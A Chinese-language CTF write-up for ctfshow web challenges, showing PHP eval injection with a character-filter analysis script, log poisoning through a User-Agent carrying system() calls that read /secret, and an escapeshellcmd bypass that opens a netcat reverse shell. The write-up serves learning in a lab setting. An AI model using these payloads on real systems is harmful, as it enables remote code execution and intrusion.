ctfshow web七夕杯

web签到

执行命令没有回显,我们直接写文件就可以了

有字符长度限制

复制代码
ls />a
nl /*>a

访问url/api/a下载文件

easy_calc

php 复制代码
<?php


if(check($code)){

    eval('$result='."$code".";");
    echo($result);    
}

function check(&$code){

    $num1=$_POST['num1'];
    $symbol=$_POST['symbol'];
    $num2=$_POST['num2'];

    if(!isset($num1) || !isset($num2) || !isset($symbol) ){
        
        return false;
    }

    if(preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/", $num1.$num2.$symbol)){
        return false;
    }

    if(preg_match("/^[\+\-\*\/]$/", $symbol)){
        $code = "$num1$symbol$num2";
        return true;
    }

    return false;
}

正则EXP

php 复制代码
<?php

$pattern = "/!|@|#|\\$|%|\\^|&|\\(|_|=|{|}|'|<|>|\\?|\\?|\\||`|~|\\[/";

// 所有可能的字符,包括特殊字符、大小写字母和数字
$all_chars = array_merge(
    range('!', '/'),   // 特殊字符
    range(':', '@'),   // 特殊字符
    range('[', '`'),   // 特殊字符
    range('{', '~'),   // 特殊字符
    range('0', '9'),   // 数字
    range('A', 'Z'),   // 大写字母
    range('a', 'z')    // 小写字母
);

$unmatched_chars = [];

foreach ($all_chars as $char) {
    if (!preg_match($pattern, $char)) {
        $unmatched_chars[] = $char;
    }
}

if (empty($unmatched_chars)) {
    echo "所有字符都被匹配了。\n";
} else {
    echo "未匹配到的字符有:\n";
    foreach ($unmatched_chars as $char) {
        echo $char . " ";
    }
    echo "\n";
}

?>

第一个正则

复制代码
" ) * + , - . / : ; \ ] } 这些字符还都可以使用
大小写字母和数字也都可以使用

第二个正则

复制代码
! " # $ % & ' ( ) , . : ; < = > ? @ [ \ ] ^ _ ` { | } ~ 
大小写字母和数字

POST:
num1=1;include "/var/log/nginx/access.log";&symbol=-&num2=1

UA:
<?=system('ls /');?>
<?=system('cat /secret')?>

包含日志文件

easy_cmd

php 复制代码
<?php

error_reporting(0);
highlight_file(__FILE__);

$cmd=$_POST['cmd'];

if(preg_match("/^\b(ping|ls|nc|ifconfig)\b/",$cmd)){
        exec(escapeshellcmd($cmd));
}
?>
复制代码
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。

反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$\, \x0A 和 \xFF。 ' 和 " 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。

进行转义之后就会进行shell命令但是不能使用带参数的命令

那么我们就反弹shell

复制代码
POST:
cmd=nc IP port -e /bin/sh

然后监听端口进行rce即可

easy_sql

欠着

相关推荐
南梦浅1 小时前
全过程步骤(从零到高可用企业网络)
开发语言·网络·php
xiangpanf2 小时前
Laravel 9.X新特性全解析
php·laravel
德迅云安全杨德俊2 小时前
直面 DDoS 威胁:从现状到解决方案
网络·安全·web安全·https·ddos
xiangpanf2 小时前
Laravel与ThinkPHP框架深度对比
php·laravel
hongtianzai2 小时前
Laravel7.x十大核心特性解析
java·c语言·开发语言·golang·php
小陈工2 小时前
2026年3月22日技术资讯洞察:数据库优化进入预测时代,网络安全威胁全面升级
java·开发语言·数据库·python·安全·web安全·django
ZHOUPUYU2 小时前
从缓存到消息队列的全面应用,PHP与Redis深度实战
redis·缓存·php
ZHOUPUYU3 小时前
PHP性能分析与调优:从定位瓶颈到实战优化
开发语言·后端·html·php
Du_chong_huan3 小时前
1.6 面对攻击的网络 | 《计算机网络:自顶向下方法》精读版
网络·安全·php
hongtianzai4 小时前
Laravel 10.x重磅更新:全新特性速览
php·laravel